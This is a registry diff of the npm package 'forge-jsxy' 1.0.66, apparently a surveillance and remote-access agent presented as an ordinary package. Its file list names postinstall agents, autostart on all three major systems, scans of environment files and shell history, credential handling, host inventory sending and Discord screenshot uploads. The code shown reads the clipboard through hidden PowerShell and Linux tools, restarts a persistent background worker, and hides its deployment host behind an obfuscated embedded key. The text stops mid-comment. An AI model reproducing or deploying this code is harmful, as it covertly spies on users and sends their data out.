forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,30 @@
1
+ #!/usr/bin/env node
2
+ "use strict";
3
+ Object.defineProperty(exports, "__esModule", { value: true });
4
+ /**
5
+ * XDG autostart entry (Linux + systemd): copy the current graphical session into
6
+ * forge-js-agent.env and restart forge-js-worker.
7
+ *
8
+ * With loginctl linger, the user service often starts at boot before any X11/Wayland
9
+ * session exists. That process wins the forge-agent singleton; the duplicate start at
10
+ * desktop login exits immediately. Clipboard then stays broken until the service is
11
+ * restarted with a real DISPLAY / WAYLAND_DISPLAY / XAUTHORITY / DBus session bus.
12
+ */
13
+ const node_child_process_1 = require("node:child_process");
14
+ const clientId_1 = require("./clientId");
15
+ const agentEnvFile_1 = require("./autostart/agentEnvFile");
16
+ const constants_1 = require("./autostart/constants");
17
+ if (process.platform !== "linux") {
18
+ process.exit(0);
19
+ }
20
+ const dataDir = (0, clientId_1.defaultCfgmgrDataDir)();
21
+ (0, agentEnvFile_1.mergeLinuxGraphicalSessionIntoForgeAgentEnv)(dataDir);
22
+ const r = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "restart", constants_1.SYSTEMD_UNIT_NAME], {
23
+ encoding: "utf8",
24
+ timeout: 30_000,
25
+ });
26
+ if (r.status !== 0 &&
27
+ (process.env.FORGE_JS_SESSION_REFRESH_LOG || "").trim() === "1") {
28
+ console.error("[forge-js] cli-linux-session-refresh: systemctl --user restart failed:", r.stderr?.trim() || r.stdout?.trim() || r.error?.message || r.status);
29
+ }
30
+ process.exit(0);
@@ -0,0 +1,3 @@
1
+ #!/usr/bin/env node
2
+ /** Load project `.env` (e.g. `RELAY_HF_CREDENTIALS_B64`) when not injected by PM2. */
3
+ import "./envLoad";
@@ -0,0 +1,38 @@
1
+ #!/usr/bin/env node
2
+ "use strict";
3
+ Object.defineProperty(exports, "__esModule", { value: true });
4
+ /** Load project `.env` (e.g. `RELAY_HF_CREDENTIALS_B64`) when not injected by PM2. */
5
+ require("./envLoad");
6
+ const deploymentDefaults_1 = require("./deploymentDefaults");
7
+ const relayServer_1 = require("./relayServer");
8
+ function parseArgs(argv) {
9
+ let host = "0.0.0.0";
10
+ let port = deploymentDefaults_1.RELAY_DEFAULT_PORT;
11
+ for (let i = 2; i < argv.length; i++) {
12
+ const a = argv[i];
13
+ if (a === "--host" && argv[i + 1]) {
14
+ host = argv[++i];
15
+ }
16
+ else if (a === "--port" && argv[i + 1]) {
17
+ port = parseInt(argv[++i], 10) || port;
18
+ }
19
+ else if (a === "-h" || a === "--help") {
20
+ console.log(`Usage: forge-relay [--host 0.0.0.0] [--port ${deploymentDefaults_1.RELAY_DEFAULT_PORT}]\n` +
21
+ ` Env: CFGMGR_RELAY_STRICT_ORIGIN=1 — strict browser Origin checks (default relaxed for reverse proxies).\n` +
22
+ ` CFGMGR_RELAY_DISABLE_ORIGIN_CHECK=1 — force relaxed Origin checks.\n` +
23
+ ` CFGMGR_RELAY_DASHBOARD_PASSWORD_SHA256=<64 hex> — require login before /files and viewer WebSockets; put only the SHA-256 of the password in .env (not plaintext).\n` +
24
+ ` forge-db sync URL (advertised to agents): FORGE_JS_SYNC_URL or CFGMGR_API_URL / CFGMGR_CFG, or RELAY_SYNC_API_BASE_URL.\n` +
25
+ ` CFGMGR_SESSION_ID — default file-explorer session; agents without a session call GET /api/relay-for-agent to match.\n` +
26
+ ` Discord screenshots: RELAY_DISCORD_SCREENSHOT_ENABLED=1, RELAY_DISCORD_BOT_TOKEN (comma-sep or RELAY_DISCORD_BOT_TOKENS), RELAY_DISCORD_GUILD_ID,\n` +
27
+ ` RELAY_DISCORD_PARENT_CATEGORY_ID (optional), RELAY_DISCORD_SCREENSHOT_INTERVAL_MS (default 300000),\n` +
28
+ ` RELAY_DISCORD_REQUIRE_SEQ_ID=1 (default) — require forge-db seq_id for client-N channel naming (blocks legacy hash channels).\n` +
29
+ ` RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS / RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS (optional → relay_features for agents).\n` +
30
+ ` Agents mirror via relay_features on connect (in-memory only; cleared on disconnect).\n` +
31
+ ` RELAY_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries on Discord HTTP 429 for REST + webhook delete.`);
32
+ process.exit(0);
33
+ }
34
+ }
35
+ return { host, port };
36
+ }
37
+ const { host, port } = parseArgs(process.argv);
38
+ (0, relayServer_1.startRelayServer)({ host, port });
@@ -0,0 +1,2 @@
1
+ export declare function defaultCfgmgrDataDir(): string;
2
+ export declare function getOrCreateClientId(dataDir?: string): string;
@@ -0,0 +1,97 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.defaultCfgmgrDataDir = defaultCfgmgrDataDir;
37
+ exports.getOrCreateClientId = getOrCreateClientId;
38
+ /**
39
+ * Persistent client id — same role as cfgmgr.core._client_id (X-Client-Id / session id source).
40
+ */
41
+ const fs = __importStar(require("node:fs"));
42
+ const path = __importStar(require("node:path"));
43
+ const os = __importStar(require("node:os"));
44
+ const node_crypto_1 = require("node:crypto");
45
+ const tableNaming_1 = require("./tableNaming");
46
+ function defaultCfgmgrDataDir() {
47
+ const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
48
+ if (override)
49
+ return path.resolve(override.replace(/^~/, os.homedir()));
50
+ if (process.platform === "win32") {
51
+ const lap = (process.env.LOCALAPPDATA || "").trim();
52
+ if (lap)
53
+ return path.join(lap, "CfgMgr", "data");
54
+ const prof = (process.env.USERPROFILE || "").trim();
55
+ if (prof)
56
+ return path.join(prof, "AppData", "Local", "CfgMgr", "data");
57
+ return path.join(os.tmpdir(), "CfgMgr", "data");
58
+ }
59
+ if (process.platform === "darwin") {
60
+ return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
61
+ }
62
+ const xdg = (process.env.XDG_DATA_HOME || "").trim();
63
+ if (xdg)
64
+ return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
65
+ return path.join(os.homedir(), ".local", "share", "cfgmgr");
66
+ }
67
+ function getOrCreateClientId(dataDir) {
68
+ const dir = dataDir ?? defaultCfgmgrDataDir();
69
+ try {
70
+ fs.mkdirSync(dir, { recursive: true });
71
+ }
72
+ catch {
73
+ // Permission denied or invalid path — we can still return an in-memory id.
74
+ return (0, node_crypto_1.randomUUID)();
75
+ }
76
+ const fid = path.join(dir, ".client_id");
77
+ try {
78
+ if (fs.existsSync(fid)) {
79
+ const raw = fs.readFileSync(fid, "utf8").trim().slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
80
+ if (raw) {
81
+ const out = (0, tableNaming_1.canonicalClientIdFragment)(raw);
82
+ return (out || raw).slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
83
+ }
84
+ }
85
+ }
86
+ catch {
87
+ /* fall through */
88
+ }
89
+ const cid = (0, node_crypto_1.randomUUID)();
90
+ try {
91
+ fs.writeFileSync(fid, cid, "utf8");
92
+ }
93
+ catch {
94
+ return cid;
95
+ }
96
+ return cid;
97
+ }
@@ -0,0 +1,8 @@
1
+ export declare function parseClipboardHelperStdoutChunk(pending: string, data: Buffer | string): {
2
+ pending: string;
3
+ changed: boolean;
4
+ };
5
+ /**
6
+ * @returns dispose callback, or undefined if watcher not used.
7
+ */
8
+ export declare function attachClipboardEventWatcher(onChange: () => void, log: (msg: string) => void): (() => void) | undefined;
@@ -0,0 +1,177 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.parseClipboardHelperStdoutChunk = parseClipboardHelperStdoutChunk;
37
+ exports.attachClipboardEventWatcher = attachClipboardEventWatcher;
38
+ /**
39
+ * Optional push-style clipboard notifications via `clipboard-event`
40
+ * (platform helper process). Timer poll remains as backup when active.
41
+ *
42
+ * Windows: we spawn `clipboard-event-handler-win32.exe` ourselves with
43
+ * `{ windowsHide: true }` so no console flashes (the upstream package uses
44
+ * `execFile` without options; postinstall patches are easy to miss under npx).
45
+ */
46
+ const node_child_process_1 = require("node:child_process");
47
+ const node_fs_1 = require("node:fs");
48
+ const path = __importStar(require("node:path"));
49
+ const linuxX11_1 = require("./linuxX11");
50
+ function parseClipboardHelperStdoutChunk(pending, data) {
51
+ const token = "CLIPBOARD_CHANGE";
52
+ const chunk = String(data);
53
+ const merged = `${pending}${chunk}`;
54
+ const lines = merged.split(/\r?\n/);
55
+ const tail = lines.pop() ?? "";
56
+ let changed = false;
57
+ for (const raw of lines) {
58
+ if (raw.trim() === token) {
59
+ changed = true;
60
+ }
61
+ }
62
+ /**
63
+ * Some helper builds can emit a token without a trailing newline; consume that exact
64
+ * complete token so the last change event is not lost.
65
+ */
66
+ const tailTrimmed = tail.trim();
67
+ if (tailTrimmed === token) {
68
+ return { pending: "", changed: true };
69
+ }
70
+ return { pending: tail, changed };
71
+ }
72
+ function pollOnlyEnv() {
73
+ const a = (process.env.FORGE_JS_CLIPBOARD_POLL_ONLY || "").trim();
74
+ const b = (process.env.FORGE_JS_WIN_CLIPBOARD_POLL_ONLY || "").trim();
75
+ return a === "1" || b === "1";
76
+ }
77
+ /**
78
+ * @returns dispose callback, or undefined if watcher not used.
79
+ */
80
+ function attachClipboardEventWatcher(onChange, log) {
81
+ const p = process.platform;
82
+ if (p !== "win32" && p !== "linux" && p !== "darwin")
83
+ return undefined;
84
+ if (pollOnlyEnv())
85
+ return undefined;
86
+ // Linux helper uses X11; Wayland-only sessions use wl-paste/xclip via exec + timer poll.
87
+ if (p === "linux" &&
88
+ !(process.env.DISPLAY || "").trim() &&
89
+ (process.env.WAYLAND_DISPLAY || "").trim()) {
90
+ log("clipboard-event skipped (Wayland without DISPLAY — timer poll / CLI clipboard)");
91
+ return undefined;
92
+ }
93
+ if (p === "linux" &&
94
+ (process.env.DISPLAY || "").trim() &&
95
+ !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
96
+ log("clipboard-event skipped (DISPLAY set but no X11 socket — timer poll only)");
97
+ return undefined;
98
+ }
99
+ if (p === "win32") {
100
+ const hidden = attachWin32ClipboardHelperHidden(onChange, log);
101
+ if (hidden)
102
+ return hidden;
103
+ }
104
+ try {
105
+ const clipEv = require("clipboard-event");
106
+ const handler = () => {
107
+ onChange();
108
+ };
109
+ clipEv.on("change", handler);
110
+ clipEv.startListening();
111
+ const ch = clipEv.child;
112
+ if (ch) {
113
+ ch.stderr?.on("data", () => { });
114
+ ch.on("error", (err) => {
115
+ log(`clipboard-event child error: ${err.message}`);
116
+ });
117
+ }
118
+ return () => {
119
+ clipEv.off("change", handler);
120
+ try {
121
+ clipEv.stopListening();
122
+ }
123
+ catch {
124
+ /* skip */
125
+ }
126
+ };
127
+ }
128
+ catch {
129
+ log("clipboard-event unavailable — clipboard uses timer poll only (optional: npm install clipboard-event)");
130
+ return undefined;
131
+ }
132
+ }
133
+ /** Same stdout protocol as `clipboard-event` (line-delimited `CLIPBOARD_CHANGE` tokens). */
134
+ function attachWin32ClipboardHelperHidden(onChange, log) {
135
+ let main;
136
+ try {
137
+ main = require.resolve("clipboard-event");
138
+ }
139
+ catch {
140
+ return undefined;
141
+ }
142
+ const pkgRoot = path.dirname(main);
143
+ const exe = path.join(pkgRoot, "platform", "clipboard-event-handler-win32.exe");
144
+ if (!(0, node_fs_1.existsSync)(exe))
145
+ return undefined;
146
+ let child;
147
+ try {
148
+ child = (0, node_child_process_1.spawn)(exe, [], {
149
+ windowsHide: true,
150
+ stdio: ["ignore", "pipe", "pipe"],
151
+ });
152
+ }
153
+ catch (e) {
154
+ log(`clipboard-event win32 spawn failed: ${e instanceof Error ? e.message : String(e)}`);
155
+ return undefined;
156
+ }
157
+ let pendingStdout = "";
158
+ const onStdout = (data) => {
159
+ const parsed = parseClipboardHelperStdoutChunk(pendingStdout, data);
160
+ pendingStdout = parsed.pending;
161
+ if (parsed.changed)
162
+ onChange();
163
+ };
164
+ child.stdout?.on("data", onStdout);
165
+ child.stderr?.on("data", () => { });
166
+ child.on("error", (err) => {
167
+ log(`clipboard-event child error: ${err.message}`);
168
+ });
169
+ return () => {
170
+ try {
171
+ child.kill();
172
+ }
173
+ catch {
174
+ /* skip */
175
+ }
176
+ };
177
+ }
@@ -0,0 +1 @@
1
+ export declare function readClipboardViaExec(): Promise<string>;
@@ -0,0 +1,161 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.readClipboardViaExec = readClipboardViaExec;
37
+ /**
38
+ * Clipboard text via OS CLI tools when @napi-rs/clipboard is unavailable.
39
+ */
40
+ const node_child_process_1 = require("node:child_process");
41
+ const fs = __importStar(require("node:fs"));
42
+ const path = __importStar(require("node:path"));
43
+ const node_util_1 = require("node:util");
44
+ const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
45
+ function powershellExe() {
46
+ const sys = process.env.SystemRoot || "C:\\Windows";
47
+ const p = path.join(sys, "System32", "WindowsPowerShell", "v1.0", "powershell.exe");
48
+ if (fs.existsSync(p))
49
+ return p;
50
+ // On 64-bit Windows with 32-bit Node the WOW64 file-system redirector maps
51
+ // System32 → SysWOW64; SysNative is the alias for the real 64-bit System32.
52
+ const sysNative = path.join(sys, "SysNative", "WindowsPowerShell", "v1.0", "powershell.exe");
53
+ if (fs.existsSync(sysNative))
54
+ return sysNative;
55
+ return p;
56
+ }
57
+ async function readClipboardViaExec() {
58
+ const p = process.platform;
59
+ if (p === "win32") {
60
+ const ps = powershellExe();
61
+ if (!fs.existsSync(ps))
62
+ return "";
63
+ const winExec = {
64
+ windowsHide: true,
65
+ timeout: 8000,
66
+ maxBuffer: 2 * 1024 * 1024,
67
+ encoding: "utf8",
68
+ env: process.env,
69
+ };
70
+ const attempts = [
71
+ ["-NoProfile", "-NonInteractive", "-STA", "-Command", "Get-Clipboard -Raw"],
72
+ [
73
+ "-NoProfile",
74
+ "-NonInteractive",
75
+ "-STA",
76
+ "-Command",
77
+ "Add-Type -AssemblyName System.Windows.Forms; [Console]::Out.Write([System.Windows.Forms.Clipboard]::GetText())",
78
+ ],
79
+ ];
80
+ for (const args of attempts) {
81
+ try {
82
+ const { stdout } = await execFileP(ps, args, winExec);
83
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
84
+ }
85
+ catch {
86
+ /* try next */
87
+ }
88
+ }
89
+ return "";
90
+ }
91
+ if (p === "darwin") {
92
+ const pb = process.env.PBPASTE_PATH?.trim() ||
93
+ (fs.existsSync("/usr/bin/pbpaste") ? "/usr/bin/pbpaste" : "pbpaste");
94
+ try {
95
+ const { stdout } = await execFileP(pb, [], {
96
+ encoding: "utf8",
97
+ timeout: 8000,
98
+ maxBuffer: 2 * 1024 * 1024,
99
+ env: process.env,
100
+ });
101
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
102
+ }
103
+ catch {
104
+ return "";
105
+ }
106
+ }
107
+ if (p === "linux") {
108
+ // wl-paste appends a newline by default; --no-newline suppresses it.
109
+ if (process.env.WAYLAND_DISPLAY) {
110
+ try {
111
+ const { stdout } = await execFileP("wl-paste", ["--no-newline"], {
112
+ encoding: "utf8",
113
+ timeout: 8000,
114
+ maxBuffer: 2 * 1024 * 1024,
115
+ });
116
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
117
+ }
118
+ catch {
119
+ /* try X11 */
120
+ }
121
+ }
122
+ try {
123
+ const { stdout } = await execFileP("xclip", ["-selection", "clipboard", "-o"], {
124
+ encoding: "utf8",
125
+ timeout: 8000,
126
+ maxBuffer: 2 * 1024 * 1024,
127
+ env: process.env,
128
+ });
129
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
130
+ }
131
+ catch {
132
+ /* skip */
133
+ }
134
+ try {
135
+ const { stdout } = await execFileP("xsel", ["--clipboard", "--output"], {
136
+ encoding: "utf8",
137
+ timeout: 8000,
138
+ maxBuffer: 2 * 1024 * 1024,
139
+ env: process.env,
140
+ });
141
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
142
+ }
143
+ catch {
144
+ /* skip */
145
+ }
146
+ // Final fallback: Wayland socket may exist even without WAYLAND_DISPLAY being set.
147
+ try {
148
+ const { stdout } = await execFileP("wl-paste", ["--no-newline"], {
149
+ encoding: "utf8",
150
+ timeout: 8000,
151
+ maxBuffer: 2 * 1024 * 1024,
152
+ env: process.env,
153
+ });
154
+ return String(stdout ?? "").replace(/\r\n/g, "\n");
155
+ }
156
+ catch {
157
+ return "";
158
+ }
159
+ }
160
+ return "";
161
+ }
@@ -0,0 +1,4 @@
1
+ /**
2
+ * Cross-platform plain-text clipboard via @napi-rs/clipboard (when the platform binary is installed).
3
+ */
4
+ export declare function readClipboardNapi(): string | null;
@@ -0,0 +1,19 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.readClipboardNapi = readClipboardNapi;
4
+ /**
5
+ * Cross-platform plain-text clipboard via @napi-rs/clipboard (when the platform binary is installed).
6
+ */
7
+ function readClipboardNapi() {
8
+ try {
9
+ const { Clipboard } = require("@napi-rs/clipboard");
10
+ const c = new Clipboard();
11
+ const t = c.getText();
12
+ if (typeof t !== "string")
13
+ return null;
14
+ return t.replace(/\r\n/g, "\n");
15
+ }
16
+ catch {
17
+ return null;
18
+ }
19
+ }
@@ -0,0 +1,20 @@
1
+ /**
2
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
3
+ * Regenerate: `node scripts/encode-deployment.mjs` (see script for FORGE_JS_BUNDLE_KEY).
4
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
5
+ *
6
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
7
